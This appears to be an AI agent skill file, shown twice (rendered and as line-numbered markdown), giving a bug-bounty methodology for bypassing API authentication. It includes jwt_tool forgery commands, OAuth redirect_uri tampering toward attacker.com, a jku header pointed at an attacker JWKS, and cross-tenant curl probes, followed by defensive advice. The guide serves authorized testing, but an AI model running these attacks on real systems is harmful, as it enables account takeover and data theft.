API Authentication Bypass
When to Use
- When testing APIs for authentication weaknesses
- When JWT tokens are used for session management
- When OAuth2/OpenID Connect flows are implemented
- When API keys are used for authentication/authorization
- When testing for broken authentication patterns
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identify Authentication Mechanism
# Determine what auth mechanism the API uses:
# 1. JWT tokens (Authorization: Bearer eyJ...)
# 2. API keys (X-API-Key: xxx, ?api_key=xxx)
# 3. OAuth2 tokens
# 4. Session cookies
# 5. Basic auth (Authorization: Basic base64)
# 6. HMAC signatures
# Inspect headers and responses
curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key"
Phase 2: JWT Token Attacks
# Decode JWT without verification
echo "eyJ0eXAi..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# jwt_tool — comprehensive JWT testing
pip install jwt_tool
# Attack 1: Algorithm confusion (alg: none)
python3 jwt_tool.py <TOKEN> -X a
# Strips signature, sets algorithm to "none"
# Attack 2: HMAC/RSA confusion (CVE-2016-10555)
# If server uses RS256, try HS256 with the public key as secret
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Attack 3: Brute-force weak secret
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Attack 4: JWK header injection
python3 jwt_tool.py <TOKEN> -X i
# Attack 5: Modify claims
python3 jwt_tool.py <TOKEN> -T
# Change "role": "user" → "role": "admin"
# Change "sub": "1337" → "sub": "1" (admin user)
# Change "exp" to far future
# Attack 6: kid parameter injection
# If kid points to a file path:
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Signs with empty string (content of /dev/null)
# Attack 7: jku/x5u header manipulation
# Point to attacker-controlled JWKS endpoint
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"
Phase 3: OAuth2 & OpenID Connect Attacks
# Attack 1: Redirect URI manipulation
# Original: /authorize?redirect_uri=https://app.com/callback
# Tamper: /authorize?redirect_uri=https://attacker.com/steal
# Bypass: /authorize?redirect_uri=https://app.com.attacker.com/
# Bypass: /authorize?redirect_uri=https://app.com/callback/../../../attacker
# Attack 2: State parameter missing/weak
# If no state parameter → CSRF attack on OAuth flow
# If predictable state → bypass CSRF protection
# Attack 3: Authorization code reuse
# Use the same auth code twice — if it works, vulnerable
# Attack 4: Scope escalation
/authorize?scope=read → /authorize?scope=read+write+admin
# Attack 5: PKCE bypass (for mobile/SPA apps)
# Remove code_verifier from token request
# Try without code_challenge in authorization request
# Attack 6: Token leakage via Referer
# Check if access tokens appear in Referer headers to third-party resources
# Attack 7: Client credential stuffing
# Try common client_secret values for public clients
Phase 4: API Key Testing
# Check for API key leakage:
# 1. Client-side JavaScript
grep -r "api_key\|apiKey\|api-key\|x-api-key" *.js
# 2. GitHub/public repos
# Search GitHub for: "target.com" AND ("api_key" OR "apiKey" OR "secret")
# 3. Mobile app decompilation
apktool d target.apk
grep -r "api" target/smali/ target/res/
# Test API key permissions:
# Can you access admin endpoints?
curl -H "X-API-Key: $APIKEY" https://api.target.com/admin/users
# Can you access other tenants' data?
curl -H "X-API-Key: $APIKEY" https://api.target.com/tenants/OTHER_ID/data
# Is rate limiting per-key or global?
for i in $(seq 1 1000); do
curl -s -o /dev/null -w "%{http_code}\n" \
-H "X-API-Key: $APIKEY" https://api.target.com/endpoint
done | sort | uniq -c
Phase 5: Broken Authentication Patterns
# Test: Remove auth header entirely
curl https://api.target.com/v1/admin/users # No auth header
# Test: Empty auth values
curl -H "Authorization: " https://api.target.com/v1/me
curl -H "Authorization: Bearer " https://api.target.com/v1/me
curl -H "Authorization: Bearer null" https://api.target.com/v1/me
# Test: Old/revoked tokens still work
# 1. Get a token, 2. Logout, 3. Use the old token
# Test: Token not validated
curl -H "Authorization: Bearer ANYTHING_HERE" https://api.target.com/v1/me
# Test: Password reset token reuse
# Use a password reset token → change password → use same token again
# Test: Account lockout bypass
# Rotate between different users or use different IP addresses
# Test: Registration flaws
# Register with admin@target.com (admin email)
# Register with existing username in different case
🔵 Blue Team Detection
- JWT validation: Always verify signature server-side, reject
alg: none
- Token expiration: Short-lived tokens (15 min access, 7 day refresh)
- Key rotation: Rotate JWT signing keys regularly
- OAuth: Validate redirect_uri against strict whitelist (exact match)
- Rate limiting: Per-user/per-IP rate limits on auth endpoints
- Token revocation: Maintain blacklist for revoked tokens
Key Concepts
| Concept |
Description |
| JWT |
JSON Web Token — self-contained authentication token |
| Algorithm confusion |
Switching JWT algorithm to bypass signature verification |
| OAuth2 |
Authorization framework for delegated access |
| PKCE |
Proof Key for Code Exchange — prevents auth code interception |
| BOLA |
Broken Object Level Authorization — OWASP API #1 |
| Token forgery |
Creating valid-looking tokens without the signing key |
Output Format
API Authentication Bypass Report
=================================
Title: JWT Algorithm Confusion Leading to Admin Access
Severity: CRITICAL (CVSS 9.8)
Endpoint: Any authenticated endpoint
Auth Mechanism: JWT (RS256)
Steps to Reproduce:
1. Obtain public key from /.well-known/jwks.json
2. Create JWT with header: {"alg":"HS256","typ":"JWT"}
3. Set payload: {"sub":"1","role":"admin","exp":9999999999}
4. Sign with HS256 using the RSA public key as the HMAC secret
5. Use forged token → full admin access
Impact:
- Complete authentication bypass
- Any user can forge admin tokens
- Full API access without valid credentials
💰 Industry Bounty Payout Statistics (2024-2025)
| Company/Platform |
Total Paid |
Highest Single |
Year |
| Google VRP |
$17.1M |
$250,000 (CVE-2025-4609 Chrome sandbox escape) |
2025 |
| Microsoft |
$16.6M |
(Not disclosed) |
2024 |
| Google VRP |
$11.8M |
$100,115 (Chrome MiraclePtr Bypass) |
2024 |
| HackerOne (all programs) |
$81M |
$100,050 (crypto firm) |
2025 |
| Meta/Facebook |
$2.3M |
up to $300K (mobile code execution) |
2024 |
| Crypto.com (HackerOne) |
$2M program |
$2M max |
2024 |
| 1Password (Bugcrowd) |
$1M max |
$1M (highest Bugcrowd ever) |
2024 |
| Samsung |
$1M max |
$1M (critical mobile flaws) |
2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M.
The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References
1---2name: api-authentication-bypass3description: >4 Test APIs for authentication and authorization bypass vulnerabilities including JWT manipulation,5 OAuth2 flaws, API key leakage, broken authentication, and token forgery. Use this skill when6 assessing REST/GraphQL APIs for access control weaknesses, session management flaws, or credential7 handling issues. Covers JWT algorithm confusion, OAuth redirect manipulation, and rate limit bypass.8domain: cybersecurity9subdomain: bug-hunting10category: API Security11difficulty: intermediate12estimated_time: "2-4 hours"13mitre_attack:14 tactics: [TA0006, TA0001]15 techniques: [T1078, T1550]16owasp_category: "API2:2023-Broken Authentication"17platforms: [linux, windows, macos]18tags: [api-security, jwt, oauth, authentication-bypass, token-forgery, api-key, broken-auth, bug-bounty]19tools: [burpsuite, jwt-tool, postman, ffuf, nuclei]20version: "1.0"21author: CyberSkills-Elite22license: Apache-2.023metadata:24 source: https://skillmd.com/skills/shulkwisec/api-authentication-bypass25---2627# API Authentication Bypass2829## When to Use30- When testing APIs for authentication weaknesses31- When JWT tokens are used for session management32- When OAuth2/OpenID Connect flows are implemented33- When API keys are used for authentication/authorization34- When testing for broken authentication patterns353637## Prerequisites38- Authorized scope and target URLs from bug bounty program39- Burp Suite Professional (or Community) configured with browser proxy40- Familiarity with OWASP Top 10 and common web vulnerability classes41- SecLists wordlists for fuzzing and enumeration4243## Workflow4445### Phase 1: Identify Authentication Mechanism4647```bash48# Determine what auth mechanism the API uses:49# 1. JWT tokens (Authorization: Bearer eyJ...)50# 2. API keys (X-API-Key: xxx, ?api_key=xxx)51# 3. OAuth2 tokens52# 4. Session cookies53# 5. Basic auth (Authorization: Basic base64)54# 6. HMAC signatures5556# Inspect headers and responses57curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key"58```5960### Phase 2: JWT Token Attacks6162```bash63# Decode JWT without verification64echo "eyJ0eXAi..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .6566# jwt_tool — comprehensive JWT testing67pip install jwt_tool6869# Attack 1: Algorithm confusion (alg: none)70python3 jwt_tool.py <TOKEN> -X a71# Strips signature, sets algorithm to "none"7273# Attack 2: HMAC/RSA confusion (CVE-2016-10555)74# If server uses RS256, try HS256 with the public key as secret75python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem7677# Attack 3: Brute-force weak secret78python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt7980# Attack 4: JWK header injection81python3 jwt_tool.py <TOKEN> -X i8283# Attack 5: Modify claims84python3 jwt_tool.py <TOKEN> -T85# Change "role": "user" → "role": "admin"86# Change "sub": "1337" → "sub": "1" (admin user)87# Change "exp" to far future8889# Attack 6: kid parameter injection90# If kid points to a file path:91python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""92# Signs with empty string (content of /dev/null)9394# Attack 7: jku/x5u header manipulation95# Point to attacker-controlled JWKS endpoint96python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"97```9899### Phase 3: OAuth2 & OpenID Connect Attacks100101```bash102# Attack 1: Redirect URI manipulation103# Original: /authorize?redirect_uri=https://app.com/callback104# Tamper: /authorize?redirect_uri=https://attacker.com/steal105# Bypass: /authorize?redirect_uri=https://app.com.attacker.com/106# Bypass: /authorize?redirect_uri=https://app.com/callback/../../../attacker107108# Attack 2: State parameter missing/weak109# If no state parameter → CSRF attack on OAuth flow110# If predictable state → bypass CSRF protection111112# Attack 3: Authorization code reuse113# Use the same auth code twice — if it works, vulnerable114115# Attack 4: Scope escalation116/authorize?scope=read → /authorize?scope=read+write+admin117118# Attack 5: PKCE bypass (for mobile/SPA apps)119# Remove code_verifier from token request120# Try without code_challenge in authorization request121122# Attack 6: Token leakage via Referer123# Check if access tokens appear in Referer headers to third-party resources124125# Attack 7: Client credential stuffing126# Try common client_secret values for public clients127```128129### Phase 4: API Key Testing130131```bash132# Check for API key leakage:133# 1. Client-side JavaScript134grep -r "api_key\|apiKey\|api-key\|x-api-key" *.js135136# 2. GitHub/public repos137# Search GitHub for: "target.com" AND ("api_key" OR "apiKey" OR "secret")138139# 3. Mobile app decompilation140apktool d target.apk141grep -r "api" target/smali/ target/res/142143# Test API key permissions:144# Can you access admin endpoints?145curl -H "X-API-Key: $APIKEY" https://api.target.com/admin/users146147# Can you access other tenants' data?148curl -H "X-API-Key: $APIKEY" https://api.target.com/tenants/OTHER_ID/data149150# Is rate limiting per-key or global?151for i in $(seq 1 1000); do152 curl -s -o /dev/null -w "%{http_code}\n" \153 -H "X-API-Key: $APIKEY" https://api.target.com/endpoint154done | sort | uniq -c155```156157### Phase 5: Broken Authentication Patterns158159```bash160# Test: Remove auth header entirely161curl https://api.target.com/v1/admin/users # No auth header162163# Test: Empty auth values164curl -H "Authorization: " https://api.target.com/v1/me165curl -H "Authorization: Bearer " https://api.target.com/v1/me166curl -H "Authorization: Bearer null" https://api.target.com/v1/me167168# Test: Old/revoked tokens still work169# 1. Get a token, 2. Logout, 3. Use the old token170171# Test: Token not validated172curl -H "Authorization: Bearer ANYTHING_HERE" https://api.target.com/v1/me173174# Test: Password reset token reuse175# Use a password reset token → change password → use same token again176177# Test: Account lockout bypass178# Rotate between different users or use different IP addresses179180# Test: Registration flaws181# Register with admin@target.com (admin email)182# Register with existing username in different case183```184185186## 🔵 Blue Team Detection187- **JWT validation**: Always verify signature server-side, reject `alg: none`188- **Token expiration**: Short-lived tokens (15 min access, 7 day refresh)189- **Key rotation**: Rotate JWT signing keys regularly190- **OAuth**: Validate redirect_uri against strict whitelist (exact match)191- **Rate limiting**: Per-user/per-IP rate limits on auth endpoints192- **Token revocation**: Maintain blacklist for revoked tokens193194## Key Concepts195| Concept | Description |196|---------|-------------|197| JWT | JSON Web Token — self-contained authentication token |198| Algorithm confusion | Switching JWT algorithm to bypass signature verification |199| OAuth2 | Authorization framework for delegated access |200| PKCE | Proof Key for Code Exchange — prevents auth code interception |201| BOLA | Broken Object Level Authorization — OWASP API #1 |202| Token forgery | Creating valid-looking tokens without the signing key |203204## Output Format205```206API Authentication Bypass Report207=================================208Title: JWT Algorithm Confusion Leading to Admin Access209Severity: CRITICAL (CVSS 9.8)210Endpoint: Any authenticated endpoint211Auth Mechanism: JWT (RS256)212213Steps to Reproduce:2141. Obtain public key from /.well-known/jwks.json2152. Create JWT with header: {"alg":"HS256","typ":"JWT"}2163. Set payload: {"sub":"1","role":"admin","exp":9999999999}2174. Sign with HS256 using the RSA public key as the HMAC secret2185. Use forged token → full admin access219220Impact:221- Complete authentication bypass222- Any user can forge admin tokens223- Full API access without valid credentials224```225226227## 💰 Industry Bounty Payout Statistics (2024-2025)228229| Company/Platform | Total Paid | Highest Single | Year |230|-----------------|------------|---------------|------|231| **Google VRP** | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |232| **Microsoft** | $16.6M | (Not disclosed) | 2024 |233| **Google VRP** | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |234| **HackerOne (all programs)** | $81M | $100,050 (crypto firm) | 2025 |235| **Meta/Facebook** | $2.3M | up to $300K (mobile code execution) | 2024 |236| **Crypto.com (HackerOne)** | $2M program | $2M max | 2024 |237| **1Password (Bugcrowd)** | $1M max | $1M (highest Bugcrowd ever) | 2024 |238| **Samsung** | $1M max | $1M (critical mobile flaws) | 2025 |239240**Key Takeaway**: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M.241The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).242243244## 📚 Shared Resources245> For cross-cutting methodology applicable to all vulnerability classes, see:246> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns247> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference248> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class249250## References251- OWASP API Security: [API2:2023 Broken Authentication](https://owasp.org/API-Security/)252- JWT.io: [JWT Introduction](https://jwt.io/introduction)253- PortSwigger: [JWT Attacks](https://portswigger.net/web-security/jwt)254- PayloadAllTheThings: [JWT Attacks](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token)